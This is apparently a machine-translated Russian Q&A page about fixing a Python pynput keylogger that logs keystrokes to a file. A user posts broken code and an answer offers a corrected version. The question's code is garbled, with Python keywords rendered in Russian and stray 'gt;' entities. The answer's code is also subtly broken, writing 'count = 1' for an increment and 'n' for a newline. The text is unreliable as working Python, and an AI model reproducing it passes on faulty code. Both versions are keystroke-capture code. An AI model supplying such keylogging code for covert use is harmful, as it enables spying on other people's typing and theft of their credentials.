#python #keylogger
#питон #кейлоггер
Вопрос:
импорт pynput
из клавиши импорта pynput.keyboard, Прослушиватель
количество = 0 Ключей = []
деф on_press(ключ): глобальные ключи, количество ключей.добавить(ключ) количество =1
print("{0} pressed".format (key)) if count gt;=5: count = 0 write_file(keys) keys = [] def write_file(keys): with open("logs.txt", "a") as f: for key in keys: k = str(key).replace("'" ",") if k.find("space") gt; 0: f.write('n') elif k.find("Key") == -1: f.write(k)
деф on_press(клавиша): печать(«{0} нажата».формат(клавиша))
def on_release(ключ): если ключ == Ключ.esc: возвращает False
со слушателем(on_press=on_press, on_release=on_release) в качестве слушателя: listener.join()
Комментарии:
1. Вы определяете функцию только
write_file
после того, как число равно 5. Вы должны определить функцию вне цикла if. Кроме того, вы на самом деле не вызываете функцию, вы просто определяете ее. Если вы хотите, чтобы он был включен, нажмите, добавьте его вon_press
функцию. Кроме того, довольно распространено включать весь код в тройную тильду ` ` и писать объяснение вашей проблемы.2. можете ли вы отредактировать мой код, потому что ? я действительно не понимаю.
Ответ №1:
Несколько ошибок в вашем коде.
- Определение ключей должно быть в нижнем регистре или, по крайней мере, соответствовать остальным.
write_file()
должно быть определено внеif
цикла. В противном случае функция не будет существовать.write_file()
его никогда не вызывали. Это должно быть вызвано внутриon_press()
функции.
import pynput from pynput.keyboard import Key, Listener count = 0 keys = [] def write_file(keys): with open("logs.txt", "a") as f: for key in keys: k = str(key).replace("'", ",") if k.find("space") != -1: f.write('n') elif k.find("Key") == -1: f.write(k) def on_press(key): global keys, count keys.append(key) count = 1 if count gt;=5: count = 0 write_file(keys) keys = [] print("{0} pressed".format(key)) def on_release(key): if key == Key.esc: return False with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()